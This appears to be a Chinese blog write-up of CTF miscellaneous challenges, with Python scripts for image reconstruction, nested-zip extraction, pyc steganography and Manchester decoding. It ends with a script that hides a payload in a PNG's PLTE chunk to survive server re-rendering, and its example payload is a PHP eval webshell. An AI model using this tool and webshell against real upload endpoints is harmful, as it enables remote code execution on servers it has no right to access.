fObj = open("/root/Downloads/62f4ea780ecf4e6bbef5f40d674ec073.txt", "r")
pixList = []
for line in fObj.readlines():
    line = line[:-1:]
    pix = line.split(',')
    _pix = []
    for p in pix:
        _pix.append(int(p))
    pixList.append(tuple(_pix))
fObj.close()

length = len(pixList)
width = int(length ** 0.5)
wList = []
hList = []

for w in range(3,width):
    if length // w * w == length:
        wList.append(w)
        hList.append(length // w)

for i in range(len(wList)):
    img = Image.new("RGB", (wList[i], hList[i]))
    for j in range(wList[i]):
        for k in range(hList[i]):
            img.putpixel((j,k), pixList[j*hList[i]+k])
    img.save("/root/Downloads/" + str(wList[i]) + "*" + str(hList[i]) + ".png")

for i in range(len(hList)):
    img = Image.new("RGB", (hList[i], wList[i]))
    for j in range(hList[i]):
        for k in range(wList[i]):
            img.putpixel((j,k), pixList[j*wList[i]+k])
    img.save("/root/Downloads/" + str(hList[i]) + "*" + str(wList[i]) + ".png")

其中得到503×122的正确图像。

PIL相关知识链接
1.Python图像处理PIL各模块详细介绍
2.PIL图像处理之Image

8.Miscellaneous-300

发现zip压缩包内的文件名即为解压密码,编写脚本解压。

import zipfile

filePath = "/root/Downloads/zip/"
zipFileName = "/root/Downloads/f932f55b83fa493ab024390071020088.zip"

zipFile = zipfile.ZipFile(zipFileName)
fileName = zipFile.namelist()[0]
zipFile.extractall(filePath, pwd=fileName.split(".")[0].encode())
while fileName != "73168.zip":
    zipFileName = filePath + fileName
    zipFile = zipfile.ZipFile(zipFileName)
    fileName = zipFile.namelist()[0]
    print(fileName)
    zipFile.extractall(filePath, pwd=fileName.split(".")[0].encode())

解压出1500多个压缩包后,解压报错,发现最新的压缩包内含mess.wav。
尝试爆破该压缩包,发现密码为5位。
Audacity分析解压出的mess.wav,频谱图中含有flag。

9.Py-Py-Py

查阅wp知道,此题目通过将payload隐藏在pyc字节码文件中,且该隐藏方式不会更改pyc文件的运行和大小。

./stegosaurus ~/Downloads/58cadd8d8269455ebc94690fd777c34a.pyc -x

相关资料:
1.一文让你完全弄懂Stegosaurus
2.https://github.com/AngelKitty/stegosaurus.git

10.传感器1

查阅wp得知,此题考察曼彻斯特编码与差分曼彻斯特编码。编写脚本尝试解码。

def decode(cipherText):
    c = bin(int(cipherText[2:],base=16))
    d = ""

    i = 2
    while i < len(c):
        if c[i] != c[i-1]:
            d += "0"
        else:
            d += "1"
        i += 2

    return int(d, base=2)

cipherText1 = "3EAAAAA56A69AA55A95995A569AA95565556"
cipherText2 = "3EAAAAA56A69AA556A965A5999596AA95656"

print("%0x" % decode(cipherText1))
print("%0x" % decode(cipherText2))

相关资料:
曼切斯特编码和差分曼切斯特编码

11.mysql

不是特别懂
攻防世界———MISC 高手区题解

12.恶臭的数据包

持续更新中……

在PNG图像中隐藏payload,绕过二次渲染

1.绕过原理

在上传含有木马的图像时常常会遇到服务端对上传的图像进行二次渲染。服务端会提取图像中信息,并重新合成一幅图像,所以简单地将木马附加到图像最后或者注释信息中是不能成功上传图片木马的。

对于PNG图像,可以考虑把木马隐藏到PLTE数据区或是IDATA数据中。

2.程序实现

以下的程序实现了将用户给定payload写入含PLTE数据区的PNG图像中。

使用方法:

  • -f 选择要嵌入payload的png图片
  • -m PLTE 指定嵌入位置为PLTE数据区
  • -p 输入要嵌入的payload,必须使用"包围

示例:

xxx.py -f 1.png -m PLTE -p "<?php @eval($_POST['id']);?>"

具体实现代码:

#!/bin/python3
import binascii
import re
import sys, getopt

''' GET args '''
args = sys.argv[1:]
try:
    opts, args = getopt.getopt(sys.argv[1:],'f:m:p:')
except getopt.GetoptError:
    print("Usage: -f file -m PLTE -p \"playload\"")
    sys.exit()

file_path = mode = payload = ""
for opt, argv in opts:
    if opt == '-f':
        file_path = argv
    elif opt == '-m':
        if argv == 'PLTE' or argv == 'IDAT':
            mode = argv
        else:
            print("Mode ERROR!")
            sys.exit()
    elif opt == '-p':
        payload = argv

if mode == 'PLTE':
    ''' PLTE payload '''
    hex_payload = binascii.b2a_hex(payload.encode())
    file_name = file_path.split('/')[-1]
    png = open(file_path,'rb')
    image = png.read()
    png.close()
    hexstr = binascii.b2a_hex(image)

    searchObj = re.search('504c5445(.*?)49444154', hexstr.decode())
    if searchObj:
        front_data = image[:searchObj.span()[0]//2]
        last_data = image[searchObj.span()[1]//2 - 4:]
        plte = '504c5445' + searchObj.group(1)
        if len(plte[:-16]) >= len(hex_payload):
            _new_plte = plte[:8] + hex_payload.decode() + plte[len(hex_payload) + 8:-16]

            ''' new PLTE crc '''
            crc = binascii.crc32(binascii.a2b_hex(_new_plte)) & 0xffffffff
            new_plte = _new_plte + hex(crc)[2:] + plte[-8:]
            plte_data = binascii.a2b_hex(new_plte)
            new_image_data = front_data + plte_data + last_data

            ''' new png '''
            try:
                new_png = open("_"+file_name,'xb')
                new_png.write(new_image_data)
                new_png.close()
            except IOError:
                print("_%s already exists." % (file_name))
                sys.exit()
        else:
            print("Playload too long!")
            sys.exit()
    else:
        print("Image doesn't include PLTE.")